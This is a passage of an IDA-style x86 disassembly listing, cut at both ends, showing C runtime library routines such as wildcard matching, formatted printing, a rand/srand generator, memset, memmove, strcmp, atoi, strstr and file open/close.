21h mov [ebp+var_4], eax jnz short loc_41716C inc ecx mov [ebp+var_8], eax mov [edx], ecx loc_41716C: ; CODE XREF: sub_41714B+19j push ebx push esi loc_41716E: ; CODE XREF: sub_41714B+7Bj mov ecx, [edx] mov bl, [ecx] cmp bl, 5Dh jnz short loc_41717C cmp [ebp+var_4], eax jnz short loc_4171C8 loc_41717C: ; CODE XREF: sub_41714B+2Aj test edi, edi jnz short loc_4171BD cmp bl, 2Dh jnz short loc_4171B1 mov al, [ecx+1] lea esi, [ecx+1] mov cl, [ecx-1] cmp cl, al jge short loc_4171B1 cmp al, 5Dh jz short loc_4171B1 cmp [ebp+var_4], edi jnz short loc_4171B1 mov ebx, [ebp+arg_4] mov ebx, [ebx] mov bl, [ebx] cmp bl, cl jl short loc_4171BD cmp bl, al jg short loc_4171BD push 1 mov [edx], esi pop edi jmp short loc_4171BD ; --------------------------------------------------------------------------- loc_4171B1: ; CODE XREF: sub_41714B+38j ; sub_41714B+45j ... mov eax, [ebp+arg_4] mov eax, [eax] cmp bl, [eax] jnz short loc_4171BD push 1 pop edi loc_4171BD: ; CODE XREF: sub_41714B+33j ; sub_41714B+59j ... inc dword ptr [edx] and [ebp+var_4], 0 push 1 pop eax jmp short loc_41716E ; --------------------------------------------------------------------------- loc_4171C8: ; CODE XREF: sub_41714B+2Fj cmp [ebp+var_8], eax pop esi pop ebx jnz short loc_4171D5 mov ecx, eax sub ecx, edi mov edi, ecx loc_4171D5: ; CODE XREF: sub_41714B+82j cmp edi, eax jnz short loc_4171DE mov eax, [ebp+arg_4] inc dword ptr [eax] loc_4171DE: ; CODE XREF: sub_41714B+8Cj mov eax, edi pop edi leave retn sub_41714B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4171E3 proc near ; CODE XREF: sub_4170B5+59p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi mov esi, [ebp+arg_0] push edi mov edi, [ebp+arg_4] mov [ebp+var_4], 1 inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] xor ebx, ebx loc_4171FF: ; CODE XREF: sub_4171E3+3Aj cmp [eax], bl jz short loc_41721F mov cl, [ecx] cmp cl, 3Fh jz short loc_417214 cmp cl, 2Ah jnz short loc_41721F cmp cl, 3Fh jnz short loc_417217 loc_417214: ; CODE XREF: sub_4171E3+25j inc eax mov [edi], eax loc_417217: ; CODE XREF: sub_4171E3+2Fj inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] jmp short loc_4171FF ; --------------------------------------------------------------------------- loc_41721F: ; CODE XREF: sub_4171E3+1Ej ; sub_4171E3+2Aj ... mov eax, [esi] cmp byte ptr [eax], 2Ah jnz short loc_41722A inc dword ptr [esi] jmp short loc_41721F ; --------------------------------------------------------------------------- loc_41722A: ; CODE XREF: sub_4171E3+41j mov eax, [edi] mov cl, [eax] cmp cl, bl jnz short loc_41724B mov edx, [esi] cmp [edx], bl jz short loc_41723C xor eax, eax jmp short loc_4172AB ; --------------------------------------------------------------------------- loc_41723C: ; CODE XREF: sub_4171E3+53j cmp cl, bl jnz short loc_41724B mov ecx, [esi] cmp [ecx], bl jnz short loc_41724B push 1 pop eax jmp short loc_4172AB ; --------------------------------------------------------------------------- loc_41724B: ; CODE XREF: sub_4171E3+4Dj ; sub_4171E3+5Bj ... push eax push dword ptr [esi] call sub_4170B5 pop ecx test eax, eax pop ecx jnz short loc_417295 loc_417259: ; CODE XREF: sub_4171E3+B0j inc dword ptr [edi] mov eax, [edi] loc_41725D: ; CODE XREF: sub_4171E3+90j mov ecx, [esi] mov dl, [eax] mov cl, [ecx] cmp cl, dl jz short loc_417275 cmp cl, 5Bh jz short loc_417275 cmp dl, bl jz short loc_417275 inc eax mov [edi], eax jmp short loc_41725D ; --------------------------------------------------------------------------- loc_417275: ; CODE XREF: sub_4171E3+82j ; sub_4171E3+87j ... mov eax, [edi] cmp [eax], bl jz short loc_41728C push eax push dword ptr [esi] call sub_4170B5 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_417291 ; --------------------------------------------------------------------------- loc_41728C: ; CODE XREF: sub_4171E3+96j mov [ebp+var_4], ebx xor eax, eax loc_417291: ; CODE XREF: sub_4171E3+A7j cmp eax, ebx jnz short loc_417259 loc_417295: ; CODE XREF: sub_4171E3+74j mov eax, [edi] cmp [eax], bl jnz short loc_4172A8 mov eax, [esi] cmp [eax], bl jnz short loc_4172A8 mov [ebp+var_4], 1 loc_4172A8: ; CODE XREF: sub_4171E3+B6j ; sub_4171E3+BCj mov eax, [ebp+var_4] loc_4172AB: ; CODE XREF: sub_4171E3+57j ; sub_4171E3+66j pop edi pop esi pop ebx leave retn sub_4171E3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4172B0 proc near ; CODE XREF: sub_401000+64p ; sub_4010B5+308p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax lea eax, [ebp+arg_8] mov [ebp+var_14], 42h push eax lea eax, [ebp+var_20] push [ebp+arg_4] mov [ebp+var_1C], 7FFFFFFFh push eax call sub_419E38 add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_4172F0 mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_4172FD ; --------------------------------------------------------------------------- loc_4172F0: ; CODE XREF: sub_4172B0+36j lea eax, [ebp+var_20] push eax push 0 call sub_419D23 pop ecx pop ecx loc_4172FD: ; CODE XREF: sub_4172B0+3Ej mov eax, esi pop esi leave retn sub_4172B0 endp ; =============== S U B R O U T I N E ======================================= sub_417302 proc near ; CODE XREF: sub_401000+2Ep ; sub_401D82+46p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_439550, eax retn sub_417302 endp ; =============== S U B R O U T I N E ======================================= sub_41730C proc near ; CODE XREF: sub_4010B5+CBp ; sub_4010B5+13Fp ... mov eax, dword_439550 imul eax, 343FDh add eax, 269EC3h mov dword_439550, eax sar eax, 10h and eax, 7FFFh retn sub_41730C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_417330 proc near ; CODE XREF: sub_4010B5+281p ; sub_40144A+180p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_8] mov ecx, [esp+arg_0] test edx, edx jz short loc_417383 xor eax, eax mov al, [esp+arg_4] push edi mov edi, ecx cmp edx, 4 jb short loc_417377 neg ecx and ecx, 3 jz short loc_417359 sub edx, ecx loc_417353: ; CODE XREF: sub_417330+27j mov [edi], al inc edi dec ecx jnz short loc_417353 loc_417359: ; CODE XREF: sub_417330+1Fj mov ecx, eax shl eax, 8 add eax, ecx mov ecx, eax shl eax, 10h add eax, ecx mov ecx, edx and edx, 3 shr ecx, 2 jz short loc_417377 rep stosd test edx, edx jz short loc_41737D loc_417377: ; CODE XREF: sub_417330+18j ; sub_417330+3Fj ... mov [edi], al inc edi dec edx jnz short loc_417377 loc_41737D: ; CODE XREF: sub_417330+45j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_417383: ; CODE XREF: sub_417330+Aj mov eax, [esp+arg_0] retn sub_417330 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417390 proc near ; CODE XREF: sub_4010B5+22Dp ; sub_4010B5+23Ep ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_39 = byte ptr 41h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_4173B0 cmp edi, eax jb loc_417528 loc_4173B0: ; CODE XREF: sub_417390+16j test edi, 3 jnz short loc_4173CC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_4173EC rep movsd jmp off_4174D8[edx*4] ; --------------------------------------------------------------------------- loc_4173CC: ; CODE XREF: sub_417390+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_4173E4 and eax, 3 add ecx, eax jmp dword ptr loc_4173EC+4[eax*4] ; --------------------------------------------------------------------------- loc_4173E4: ; CODE XREF: sub_417390+46j jmp dword ptr loc_4174E8[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_4173EC: ; CODE XREF: sub_417390+31j ; sub_417390+8Ej ... jmp off_41746C[ecx*4] ; --------------------------------------------------------------------------- db 90h dd offset loc_417400 dd offset loc_41742C dd offset loc_417450 ; --------------------------------------------------------------------------- loc_417400: ; DATA XREF: sub_417390+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_4173EC rep movsd jmp off_4174D8[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41742C: ; DATA XREF: sub_417390+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_4173EC rep movsd jmp off_4174D8[edx*4] ; --------------------------------------------------------------------------- align 10h loc_417450: ; DATA XREF: sub_417390+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_4173EC rep movsd jmp off_4174D8[edx*4] ; --------------------------------------------------------------------------- align 4 off_41746C dd offset loc_4174CF ; DATA XREF: sub_417390:loc_4173ECr dd offset loc_4174BC dd offset loc_4174B4 dd offset loc_4174AC dd offset loc_4174A4 dd offset loc_41749C dd offset loc_417494 dd offset loc_41748C ; --------------------------------------------------------------------------- loc_41748C: ; CODE XREF: sub_417390:loc_4173ECj ; DATA XREF: sub_417390+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_417494: ; CODE XREF: sub_417390:loc_4173ECj ; DATA XREF: sub_417390+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_41749C: ; CODE XREF: sub_417390:loc_4173ECj ; DATA XREF: sub_417390+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_4174A4: ; CODE XREF: sub_417390:loc_4173ECj ; DATA XREF: sub_417390+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_4174AC: ; CODE XREF: sub_417390:loc_4173ECj ; DATA XREF: sub_417390+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_4174B4: ; CODE XREF: sub_417390:loc_4173ECj ; DATA XREF: sub_417390+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_4174BC: ; CODE XREF: sub_417390:loc_4173ECj ; DATA XREF: sub_417390+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_4174CF: ; CODE XREF: sub_417390:loc_4173ECj ; DATA XREF: sub_417390:off_41746Co jmp off_4174D8[edx*4] ; --------------------------------------------------------------------------- align 4 off_4174D8 dd offset loc_4174E8 ; DATA XREF: sub_417390+35r ; sub_417390+92r ... dd offset loc_4174F0 dd offset loc_4174FC dd offset loc_417510 ; --------------------------------------------------------------------------- loc_4174E8: ; CODE XREF: sub_417390+35j ; sub_417390+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_4174F0: ; CODE XREF: sub_417390+35j ; sub_417390+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4174FC: ; CODE XREF: sub_417390+35j ; sub_417390+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_417510: ; CODE XREF: sub_417390+35j ; sub_417390+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_417528: ; CODE XREF: sub_417390+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41755C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_417550 std rep movsd cld jmp off_417670[edx*4] ; --------------------------------------------------------------------------- align 10h loc_417550: ; CODE XREF: sub_417390+1B1j ; sub_417390+208j ... neg ecx jmp off_417620[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41755C: ; CODE XREF: sub_417390+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_417574 and eax, 3 sub ecx, eax jmp dword ptr loc_417574+4[eax*4] ; --------------------------------------------------------------------------- loc_417574: ; CODE XREF: sub_417390+1D6j ; DATA XREF: sub_417390+1DDr jmp off_417670[ecx*4] ; --------------------------------------------------------------------------- align 4 mov [ebp+arg_39], dh add [eax-2FFFBE8Bh], ch jnz short loc_4175C8 add [edx-2EDCFCBAh], cl mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_417550 std rep movsd cld jmp off_417670[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_417550 std rep movsd cld loc_4175C8: ; CODE XREF: sub_417390+1F5j jmp off_417670[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_417550 std rep movsd cld jmp off_417670[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_417624 dd offset loc_41762C dd offset loc_417634 dd offset loc_41763C dd offset loc_417644 dd offset loc_41764C dd offset loc_417654 off_417620 dd offset loc_417667 ; DATA XREF: sub_417390+1C2r ; --------------------------------------------------------------------------- loc_417624: ; DATA XREF: sub_417390+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_41762C: ; DATA XREF: sub_417390+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_417634: ; DATA XREF: sub_417390+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_41763C: ; DATA XREF: sub_417390+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_417644: ; DATA XREF: sub_417390+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_41764C: ; DATA XREF: sub_417390+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_417654: ; DATA XREF: sub_417390+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_417667: ; CODE XREF: sub_417390+1C2j ; DATA XREF: sub_417390:off_417620o jmp off_417670[edx*4] ; --------------------------------------------------------------------------- align 10h off_417670 dd offset loc_417680 ; DATA XREF: sub_417390+1B7r ; sub_417390:loc_417574r ... dd offset loc_417688 dd offset loc_417698 dd offset loc_4176AC ; --------------------------------------------------------------------------- loc_417680: ; CODE XREF: sub_417390+1B7j ; sub_417390:loc_417574j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_417688: ; CODE XREF: sub_417390+1B7j ; sub_417390:loc_417574j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_417698: ; CODE XREF: sub_417390+1B7j ; sub_417390:loc_417574j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4176AC: ; CODE XREF: sub_417390+1B7j ; sub_417390:loc_417574j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_417390 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4176D0 proc near ; CODE XREF: sub_4010B5+FCp ; sub_4010B5+118p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_0] mov ecx, [esp+arg_4] test edx, 3 jnz short loc_41771C loc_4176E0: ; CODE XREF: sub_4176D0+3Cj ; sub_4176D0+66j ... mov eax, [edx] cmp al, [ecx] jnz short loc_417714 or al, al jz short loc_417710 cmp ah, [ecx+1] jnz short loc_417714 or ah, ah jz short loc_417710 shr eax, 10h cmp al, [ecx+2] jnz short loc_417714 or al, al jz short loc_417710 cmp ah, [ecx+3] jnz short loc_417714 add ecx, 4 add edx, 4 or ah, ah jnz short loc_4176E0 mov edi, edi loc_417710: ; CODE XREF: sub_4176D0+18j ; sub_4176D0+21j ... xor eax, eax retn ; --------------------------------------------------------------------------- align 4 loc_417714: ; CODE XREF: sub_4176D0+14j ; sub_4176D0+1Dj ... sbb eax, eax shl eax, 1 inc eax retn ; --------------------------------------------------------------------------- align 4 loc_41771C: ; CODE XREF: sub_4176D0+Ej test edx, 1 jz short loc_417738 mov al, [edx] inc edx cmp al, [ecx] jnz short loc_417714 inc ecx or al, al jz short loc_417710 test edx, 2 jz short loc_4176E0 loc_417738: ; CODE XREF: sub_4176D0+52j mov ax, [edx] add edx, 2 cmp al, [ecx] jnz short loc_417714 or al, al jz short loc_417710 cmp ah, [ecx+1] jnz short loc_417714 or ah, ah jz short loc_417710 add ecx, 2 jmp short loc_4176E0 sub_4176D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_417760 proc near ; CODE XREF: sub_4010B5+19Ep ; sub_401A76+11Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_4] mov ecx, [esp+arg_C] or ecx, eax mov ecx, [esp+arg_8] jnz short loc_417779 mov eax, [esp+arg_0] mul ecx retn 10h ; --------------------------------------------------------------------------- loc_417779: ; CODE XREF: sub_417760+Ej push ebx mul ecx mov ebx, eax mov eax, [esp+4+arg_0] mul [esp+4+arg_C] add ebx, eax mov eax, [esp+4+arg_0] mul ecx add edx, ebx pop ebx retn 10h sub_417760 endp ; =============== S U B R O U T I N E ======================================= sub_417794 proc near ; CODE XREF: sub_41781F+4p ; sub_42094E+1A2p ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] loc_41779C: ; CODE XREF: sub_417794+34j cmp dword_4397AC, 1 jle short loc_4177B4 movzx eax, byte ptr [edi] push 8 push eax call sub_41A642 pop ecx pop ecx jmp short loc_4177C3 ; --------------------------------------------------------------------------- loc_4177B4: ; CODE XREF: sub_417794+Fj movzx eax, byte ptr [edi] mov ecx, off_4395A0 mov al, [ecx+eax*2] and eax, 8 loc_4177C3: ; CODE XREF: sub_417794+1Ej test eax, eax jz short loc_4177CA inc edi jmp short loc_41779C ; --------------------------------------------------------------------------- loc_4177CA: ; CODE XREF: sub_417794+31j movzx esi, byte ptr [edi] inc edi cmp esi, 2Dh mov ebp, esi jz short loc_4177DA cmp esi, 2Bh jnz short loc_4177DE loc_4177DA: ; CODE XREF: sub_417794+3Fj movzx esi, byte ptr [edi] inc edi loc_4177DE: ; CODE XREF: sub_417794+44j xor ebx, ebx loc_4177E0: ; CODE XREF: sub_417794+7Bj cmp dword_4397AC, 1 jle short loc_4177F5 push 4 push esi call sub_41A642 pop ecx pop ecx jmp short loc_417800 ; --------------------------------------------------------------------------- loc_4177F5: ; CODE XREF: sub_417794+53j mov eax, off_4395A0 mov al, [eax+esi*2] and eax, 4 loc_417800: ; CODE XREF: sub_417794+5Fj test eax, eax jz short loc_417811 lea eax, [ebx+ebx*4] lea ebx, [esi+eax*2-30h] movzx esi, byte ptr [edi] inc edi jmp short loc_4177E0 ; --------------------------------------------------------------------------- loc_417811: ; CODE XREF: sub_417794+6Ej cmp ebp, 2Dh mov eax, ebx jnz short loc_41781A neg eax loc_41781A: ; CODE XREF: sub_417794+82j pop edi pop esi pop ebp pop ebx retn sub_417794 endp ; =============== S U B R O U T I N E ======================================= sub_41781F proc near ; CODE XREF: sub_4013EC+12p ; sub_4013EC+1Dp ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_417794 pop ecx retn sub_41781F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41782A proc near ; CODE XREF: sub_40144A+318p ; sub_401D82+460p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_14], 42h mov [ebp+var_1C], eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_20] push [ebp+arg_8] push eax call sub_419E38 add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_417869 mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_417876 ; --------------------------------------------------------------------------- loc_417869: ; CODE XREF: sub_41782A+35j lea eax, [ebp+var_20] push eax push 0 call sub_419D23 pop ecx pop ecx loc_417876: ; CODE XREF: sub_41782A+3Dj mov eax, esi pop esi leave retn sub_41782A endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_417880 proc near ; CODE XREF: sub_401D82+2D8p ; sub_401D82+2F8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push edi push ebx push esi mov dl, [ecx] mov edi, [esp+0Ch+arg_0] test dl, dl jz short loc_4178FA mov dh, [ecx+1] test dh, dh jz short loc_4178E7 loc_417898: ; CODE XREF: sub_417880+52j ; sub_417880+65j mov esi, edi mov ecx, [esp+0Ch+arg_4] mov al, [edi] inc esi cmp al, dl jz short loc_4178BA test al, al jz short loc_4178B4 loc_4178A9: ; CODE XREF: sub_417880+32j mov al, [esi] inc esi loc_4178AC: ; CODE XREF: sub_417880+3Fj cmp al, dl jz short loc_4178BA test al, al jnz short loc_4178A9 loc_4178B4: ; CODE XREF: sub_417880+27j pop esi pop ebx pop edi xor eax, eax retn ; --------------------------------------------------------------------------- loc_4178BA: ; CODE XREF: sub_417880+23j ; sub_417880+2Ej mov al, [esi] inc esi cmp al, dh jnz short loc_4178AC lea edi, [esi-1] loc_4178C4: ; CODE XREF: sub_417880+63j mov ah, [ecx+2] test ah, ah jz short loc_4178F3 mov al, [esi] add esi, 2 cmp al, ah jnz short loc_417898 mov al, [ecx+3] test al, al jz short loc_4178F3 mov ah, [esi-1] add ecx, 2 cmp al, ah jz short loc_4178C4 jmp short loc_417898 ; --------------------------------------------------------------------------- loc_4178E7: ; CODE XREF: sub_417880+16j xor eax, eax pop esi pop ebx pop edi mov al, dl jmp loc_418F56 ; --------------------------------------------------------------------------- loc_4178F3: ; CODE XREF: sub_417880+49j ; sub_417880+59j lea eax, [edi-1] pop esi pop ebx pop edi retn ; --------------------------------------------------------------------------- loc_4178FA: ; CODE XREF: sub_417880+Fj mov eax, edi pop esi pop ebx pop edi retn sub_417880 endp ; =============== S U B R O U T I N E ======================================= sub_417900 proc near ; CODE XREF: sub_4022C6+94p ; sub_405A58+7Cp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi or edi, 0FFFFFFFFh mov eax, [esi+0Ch] test al, 40h jz short loc_417915 or eax, 0FFFFFFFFh jmp short loc_41794F ; --------------------------------------------------------------------------- loc_417915: ; CODE XREF: sub_417900+Ej test al, 83h jz short loc_41794D push esi call sub_41A7D0 push esi mov edi, eax call sub_41A76A push dword ptr [esi+10h] call sub_41A6B7 add esp, 0Ch test eax, eax jge short loc_41793B or edi, 0FFFFFFFFh jmp short loc_41794D ; --------------------------------------------------------------------------- loc_41793B: ; CODE XREF: sub_417900+34j mov eax, [esi+1Ch] test eax, eax jz short loc_41794D push eax call sub_417C3B and dword ptr [esi+1Ch], 0 pop ecx loc_41794D: ; CODE XREF: sub_417900+17j ; sub_417900+39j ... mov eax, edi loc_41794F: ; CODE XREF: sub_417900+13j and dword ptr [esi+0Ch], 0 pop edi pop esi retn sub_417900 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417956 proc near ; CODE XREF: sub_4022C6+8Ep ; sub_40EE72+2B0Fp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push esi push edi push [ebp+arg_0] call sub_41A8A2 mov esi, eax lea eax, [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_419E38 push [ebp+arg_0] mov edi, eax push esi call sub_41A92F add esp, 18h mov eax, edi pop edi pop esi pop ebp retn sub_417956 endp ; =============== S U B R O U T I N E ======================================= sub_417988 proc near ; CODE XREF: sub_4179A8+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch call sub_41AADC test eax, eax jnz short loc_417992 retn ; --------------------------------------------------------------------------- loc_417992: ; CODE XREF: sub_417988+7j push eax push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41A96C add esp, 10h retn sub_417988 endp ; =============== S U B R O U T I N E ======================================= sub_4179A8 proc near ; CODE XREF: sub_4022C6+54p ; sub_405A58+2Ap ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 40h push [esp+4+arg_4] push [esp+8+arg_0] call sub_417988 add esp, 0Ch retn sub_4179A8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4179C0 proc near ; CODE XREF: sub_405AF2+2BFp ; sub_40A7D7+75p ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] jmp short loc_417A31 sub_4179C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4179D0 proc near ; CODE XREF: sub_4022C6+32p ; sub_4022C6+43p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] push edi test ecx, 3 jz short loc_4179EC loc_4179DD: ; CODE XREF: sub_4179D0+1Aj mov al, [ecx] inc ecx test al, al jz short loc_417A1F test ecx, 3 jnz short loc_4179DD loc_4179EC: ; CODE XREF: sub_4179D0+Bj ; sub_4179D0+32j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_4179EC mov eax, [ecx-4] test al, al jz short loc_417A2E test ah, ah jz short loc_417A29 test eax, 0FF0000h jz short loc_417A24 test eax, 0FF000000h jz short loc_417A1F jmp short loc_4179EC ; --------------------------------------------------------------------------- loc_417A1F: ; CODE XREF: sub_4179D0+12j ; sub_4179D0+4Bj lea edi, [ecx-1] jmp short loc_417A31 ; --------------------------------------------------------------------------- loc_417A24: ; CODE XREF: sub_4179D0+44j lea edi, [ecx-2] jmp short loc_417A31 ; --------------------------------------------------------------------------- loc_417A29: ; CODE XREF: sub_4179D0+3Dj lea edi, [ecx-3] jmp short loc_417A31 ; --------------------------------------------------------------------------- loc_417A2E: ; CODE XREF: sub_4179D0+39j lea edi, [ecx-4] loc_417A31: ; CODE XREF: sub_4179C0+5j ; sub_4179D0+52j ... mov ecx, [esp+4+arg_4] test ecx, 3 jz short loc_417A56 loc_417A3D: ; CODE XREF: sub_4179D0+7Dj mov dl, [ecx] inc ecx test dl, dl jz short loc_417AA8 mov [edi], dl inc edi test ecx, 3 jnz short loc_417A3D jmp short loc_417A56 ; --------------------------------------------------------------------------- loc_417A51: ; CODE XREF: sub_4179D0+9Ej ; sub_4179D0+B8j mov [edi], edx add edi, 4 loc_417A56: ; CODE XREF: sub_4179D0+6Bj ; sub_4179D0+7Fj mov edx, 7EFEFEFFh mov eax, [ecx] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [ecx] add ecx, 4 test eax, 81010100h jz short loc_417A51 test dl, dl jz short loc_417AA8 test dh, dh jz short loc_417A9F test edx, 0FF0000h jz short loc_417A92 test edx, 0FF000000h jz short loc_417A8A jmp short loc_417A51 ; --------------------------------------------------------------------------- loc_417A8A: ; CODE XREF: sub_4179D0+B6j mov [edi], edx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_417A92: ; CODE XREF: sub_4179D0+AEj mov [edi], dx mov eax, [esp+4+arg_0] mov byte ptr [edi+2], 0 pop edi retn ; --------------------------------------------------------------------------- loc_417A9F: ; CODE XREF: sub_4179D0+A6j mov [edi], dx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_417AA8: ; CODE XREF: sub_4179D0+72j ; sub_4179D0+A2j mov [edi], dl mov eax, [esp+4+arg_0] pop edi retn sub_4179D0 endp ; =============== S U B R O U T I N E ======================================= sub_417AB0 proc near ; CODE XREF: sub_4023A7+1A7p ; sub_4023A7:loc_402561p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test ecx, 3 jz short loc_417AD0 loc_417ABC: ; CODE XREF: 